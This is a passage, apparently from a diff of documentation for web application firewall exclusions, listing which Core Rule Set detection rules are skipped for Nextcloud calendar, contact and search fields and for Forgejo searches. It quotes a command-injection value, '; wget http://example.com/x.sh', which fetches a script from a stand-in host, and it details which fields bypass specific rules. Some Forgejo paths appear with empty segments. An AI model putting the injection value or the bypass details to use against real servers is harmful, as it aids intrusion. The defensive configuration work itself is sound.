which refused a shell script in a code block +(932160, 932370). So a shell command such as `; wget http://example.com/x.sh` +reaches Nextcloud in these fields. SQL injection, path traversal and script +injection are still refused there. + +The XML body of a `SEARCH` on `/remote.php/dav/`, the Files app's search, skips +the four rules. + +The Calendar and Contacts apps, and CalDAV and CardDAV clients, use these paths: + +- `/remote.php/dav/calendars/`, which holds the calendars; +- `/remote.php/dav/addressbooks/`, which holds the address books. + +There: + +- `MKCALENDAR`, with which a CalDAV client makes a calendar, is allowed on the + calendars' paths only. +- The XML body of an `MKCOL` names a new calendar or address book. A new address + book's body may also hold its description. The body skips the four rules. On + the address books' paths, it also skips two rules that refused a description + such as `Powershell and python3 contacts; ls -la first` (932125, 932230). +- The XML body of an `MKCALENDAR` holds the new calendar's name and description. + It skips the four rules, and two rules that refused a description such as + `Powershell and python3 meetings; ls -la first` (932125, 932230). +- The body of a `PUT` of an event or a contact is not read, as for any `PUT` on + the WebDAV paths. So the Core Rule Set does not check an event's title, + location or description, or a contact's names. +- The Calendar and Contacts apps name the charset twice in the `Content-Type` of + the `PUT` that changes an event or a contact. A `PUT` typed `text/calendar` or + `text/vcard` skips 920530, the rule against two charsets. + +A CalDAV or CardDAV client finds these paths with a `PROPFIND` on +`/.well-known/caldav` or `/.well-known/carddav`. That method is allowed on those +two paths. + +These body exclusions matter only while `SWW_WAF_BODY_LIMIT` is set. None +applies to a JSON field when the query has a parameter of that name, such as +`json.message`. Nextcloud's pages are matched at the site root and under +`/index.php/`. Elsewhere these fields keep every rule. + +Forgejo's fixes: Forgejo is a fork of gitea, so a hostname listing `forgejo` +gets gitea's fixes too. Forgejo's own fixes hold only what Forgejo sends and +gitea does not. + +On Forgejo's paths, `q` on some of its searches skips the rules that refused +ordinary Forgejo searches there. `internal/coreruleset/forgejo.conf` lists each +rule and the search it refused. The searches are: + +- the search of a wiki, on `///wiki/search`; +- the search of a repository's releases, on `///releases` and + `/api/v1/repos///releases`; +- the search of a job's log, on + `/api/v1/repos///actions/jobs//logs`. + +There `q` skips these rules: + +- system files (930120), such as `.htaccess`; +- Windows commands (932120), such as `powershell`; +- shell paths (932160), such as `/bin/sh`, except on the search of a job's log; +- Unix commands (932250), such as `ls -la`; +- command names (932260), such as `python3`. + +`; wget http://example.com/x.sh`, path traversal, and SQL and script injection +are still refused there. + +The search of a repository's code at a branch or a tag is on +`///search/branch/` and `///search/tag/`. +The search box on a repository's home page sends its search there when Forgejo +has no code indexer, as by default. There `q` skips the rules it skips on +gitea's search of code (gitea's third fix). So code, such as `